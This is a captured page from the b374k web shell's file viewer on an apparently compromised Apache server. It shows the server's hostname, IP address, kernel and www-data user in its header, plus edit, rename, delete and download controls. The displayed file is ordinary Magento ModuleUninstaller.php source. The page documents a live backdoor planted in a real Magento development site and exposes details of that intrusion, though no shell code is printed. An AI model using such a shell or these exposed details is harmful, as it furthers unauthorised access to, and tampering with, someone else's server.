b374k
m1n1 1.01
Apache/2.4.41 (Ubuntu)
Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
server ip : 62.171.164.128 | your ip : 127.0.0.1
safemode OFF
 >  / home / dev2.destoffenstraat.com / setup / src / Magento / Setup / Model /
Filename/home/dev2.destoffenstraat.com/setup/src/Magento/Setup/Model/ModuleUninstaller.php
Size3.24 kb
Permissionrw-r--r--
Ownerroot : root
Create time17-Aug-2025 10:26
Last modified28-Jan-2025 06:45
Last accessed23-Aug-2025 00:41
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Setup\Model;

use Magento\Framework\Setup\Patch\PatchApplier;
use Symfony\Component\Console\Output\OutputInterface;

/**
* Class to uninstall a module component
*/
class ModuleUninstaller
{
/**
* @var \Magento\Framework\ObjectManagerInterface
*/
private $objectManager;

/**
* @var \Magento\Framework\Composer\Remove
*/
private $remove;

/**
* @var UninstallCollector
*/
private $collector;

/**
* @var \Magento\Setup\Module\SetupFactory
*/
private $setupFactory;
/**
* @var PatchApplier
*/
private $patchApplier;

/**
* Constructor
*
* @param ObjectManagerProvider $objectManagerProvider
* @param \Magento\Framework\Composer\Remove $remove
* @param UninstallCollector $collector
* @param \Magento\Setup\Module\SetupFactory $setupFactory
* @param PatchApplier $patchApplier
*/
public function __construct(
ObjectManagerProvider $objectManagerProvider,
\Magento\Framework\Composer\Remove $remove,
UninstallCollector $collector,
\Magento\Setup\Module\SetupFactory $setupFactory
) {
$this->objectManager = $objectManagerProvider->get();
$this->remove = $remove;
$this->collector = $collector;
$this->setupFactory = $setupFactory;
}

/**
* @return PatchApplier
*/
private function getPatchApplier()
{
if (!$this->patchApplier) {
$this->patchApplier = $this->objectManager->get(PatchApplier::class);
}

return $this->patchApplier;
}

/**
* Invoke remove data routine in each specified module
*
* @param OutputInterface $output
* @param array $modules
* @return void
*/
public function uninstallData(OutputInterface $output, array $modules)
{
$uninstalls = $this->collector->collectUninstall($modules);
$setupModel = $this->setupFactory->create();
$resource = $this->objectManager->get(\Magento\Framework\Module\ModuleResource::class);
foreach ($modules as $module) {
if (isset($uninstalls[$module])) {
$output->writeln("<info>Removing data of $module</info>");
$uninstalls[$module]->uninstall(
$setupModel,
new ModuleContext($resource->getDbVersion($module) ?: '')
);
}

$this->getPatchApplier()->revertDataPatches($module);
}
}

/**
* Run 'composer remove' to remove code
*
* @param OutputInterface $output
* @param array $modules
* @return void
*/
public function uninstallCode(OutputInterface $output, array $modules)
{
$output->writeln('<info>Removing code from Magento codebase:</info>');
$packages = [];
/** @var \Magento\Framework\Module\PackageInfo $packageInfo */
$packageInfo = $this->objectManager->get(\Magento\Framework\Module\PackageInfoFactory::class)->create();
foreach ($modules as $module) {
$packages[] = $packageInfo->getPackageName($module);
}
$this->remove->remove($packages);
}
}